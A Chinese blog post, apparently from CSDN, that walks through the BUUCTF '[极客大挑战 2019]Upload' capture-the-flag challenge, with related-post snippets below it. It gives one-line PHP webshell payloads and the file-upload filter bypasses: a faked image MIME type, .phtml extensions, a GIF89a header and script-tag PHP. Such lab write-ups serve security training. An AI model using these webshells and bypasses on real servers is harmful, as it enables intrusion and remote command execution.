[极客大挑战 2019]Upload

最新推荐文章于 2025-04-28 18:55:37 发布
最新推荐文章于 2025-04-28 18:55:37 发布
阅读量216 收藏
点赞数
分类专栏： CTF # 任意文件上传 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/m0_62905261/article/details/126738404
版权

[极客大挑战 2019]Upload

文件上传，要求需要上传的是图片，直接去bp抓包上传一句话木马（GIF89a<?php @eval($_POST['cmd']);?>）

不能上传php，修改一下bp中的文件类型为image/jpeg继续上传

还是不能上传php文件，可能有对php文件有限制，修改后缀为phtml

发现可以上传，但是对内容进行了限制，不能包含<?，直接修改一句话木马内容（GIF89a<script language="php">eval($_POST['cmd']);</script>）

发现上传成功，url也发生了改变

测试一下上传的1.phtml

报错，可能是测试的方式不对，删掉file.php试试

回显成功，从而得知了文件路径，直接上蚁剑

 

极客大挑战 2019 Upload 1
qq_52715164的博客
04-20 2734
还是文件上传得题，上传有一句话木马写的且改后缀为jpg得文件，会出现提示说文件包含`<?传不了，所以修改木马为： GIF89a? <script language="php">eval($_REQUEST[123])</script> 打开burp，抓包修改文件后缀， 发现php上传不了， 常规文件后缀为： php2, php3, php4, php5, phps, pht, phtm, phtml 这里修改后缀为：phtml可正常上传 但上传后没有返回图片保存地址，一般上
[极客大挑战 2019]Upload 1(文件上传)
热门推荐
weixin_45253573的博客
12-08 1万+
打开环境是一个上传图片的页面。 先上传一句话木马试试，这里格式直接不变，先上传看看。 <?php eval($_POST['b'])?> <?php $_GET['a']($_POST['b'])?> 提示说不是图片，需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg 绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 前几个php格式的一句话都被b了，比如php3 将文件格式改到phtml可以了，但带<?的一句话
Web-[极客大挑战 2019] Upload1
汗的博客
05-21 1166
文章目录[极客大挑战 2019]Upload1 [极客大挑战 2019]Upload1 shell名she.phtml 内容 GIF98a <script language="php">eval($_POST['cmd']);</script> burp抓包Content-Type: image/jpeg 在upload/目录下，访问页面，蚁剑连接，cat /flag ...
[极客大挑战 2019]Upload1
最新发布
shsisbdkka的博客
04-28 410
木马前面加GIF89a一个是为了防止文件头检测，另一个是为了上传成功后访问如果正常的话他会显示该字段。要么是文件里面的php字段被过滤了，要么是文件名后缀被过滤了，一个一个试试。编辑完后改成.jpg图片文件后缀，上传后抓包再改为php文件类型后缀。(这题比较简单，上传的文件都放到了跟目录下的upload下)没有显示木马内容，说明被服务器解析了，那我们直接开。我这里用的是010editor编辑器直接改的，为什么连接密码是w，因为我写的木马里面传入的是。ok,上传成功，现在尝试访问刚刚上传的文件，
BUU_Web 极客大挑战 Upload
qq_46635165的博客
09-26 324
打开题目网址，文件上传： 尝试上传 webshell.php ，一句话木马： 看来是不能上传 .php，抓包发现需要上传jpg格式图片： 将文件后缀格式改成 jpg 格式： <? 被检测，只能换一种一句话木马了，： <script language="php">eval($_POST['cmd']);</script> 提示检测到不完全是图片，写入 jpg 格式文件头，再次上传，仍然显示不完全是图片，写入GIF格式文件头：GIF89a ,再次尝试上传： 上传成功，接下来
BUUCTF-[极客大挑战 2019]Upload1
Monica的博客
09-14 2168
题目： 分析： 一个文件上传漏洞 上传一个1.php文件内容为：<?php eval($_POST[1]);?> 发现报错。 查看源代码，没有关于过滤的代码，说明是后端进行的过滤。 bp抓包：修改MIME 报错说不能是php文件、绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 发现只要phtml文件可以使用，修改后缀为phtml phtml一般是指嵌入了php代码的html文件，但是同样也会作为php解析 PHT文件是一个HTM.
极客大挑战2019-upload
m0_73303597的博客
12-11 429
自用
[极客大挑战 2019]Upload 1
徐海洋
02-02 777
[极客大挑战 2019]Upload 1
buuctf-web-[极客大挑战 2019]Upload1
mlws1900的博客
08-11 1466
第一个点，修改phtml，第二个点GIF89a（这个点特别的重要，上面我写的代码没有包含），第三个点要用包含。scriptcmd.phtml是我们上传的webshell。我写的webshell里面加了phpinfo();上传的文件夹upload，找到我们上传的文件。bp后缀名修改phtml，加上下面代码。先上传一个无内容的jpg文件。文件里面要加GIF89a。蚁剑连接，获得flag。上传了一个小马代码为。...
BUUCTF——[极客大挑战2019]Upload-1
sky2dawn的博客
11-25 815
BUUCTF-[极客大挑战2019]Upload-1
极客大挑战 2019 Upload :1文件上传
m0_63206880的博客
12-28 165
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 这里phtml可以成功 这里发现过滤了?号 还有文件头 改jpeg\png\gif都可以 绕过问号 <script language="pHp">@eval($_POST['cmd'])</script> 这里上传的文件在upload目录下 下面使用蚁剑连接 剩下的flag 你们自己找找啦 <"...
BUUCTF [极客大挑战 2019]Upload1
2401_86572133的博客
03-30 606
脚本风格与简写风格可以绕过，但是煮波试了<% %>发现不行，看到大佬温馨《提醒如果使用简写风格或者ASP风格，则应该在php.ini配置文件中修改如下配置，把这两个参数都设置为On，考虑到这两种风格的移植性较差，通常不推荐使用。最开始查的时候查到将一句话木马插入图片的方法，后来发现可以直接写一句话木马然后用burpsuite抓包的时候再修改数据包，进行绕过。直接地址+/upload+/（上传文件名），连接成功，找到flag。打开以后发现有文件上传的地方，不难看出是文件上传漏洞。还是不行，发生了什么？
[极客大挑战 2019]upload
04-02
华为云计划在未来两天举办一系列活动，其中包括丰富的专题论坛、圆桌论坛，还有Codelabs、极客挑战赛等活动[^1]。这些活动旨在让开发者能够与华为专家面对面交流，激发技术创新的想法。因此，如果想要参与极客大挑战...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值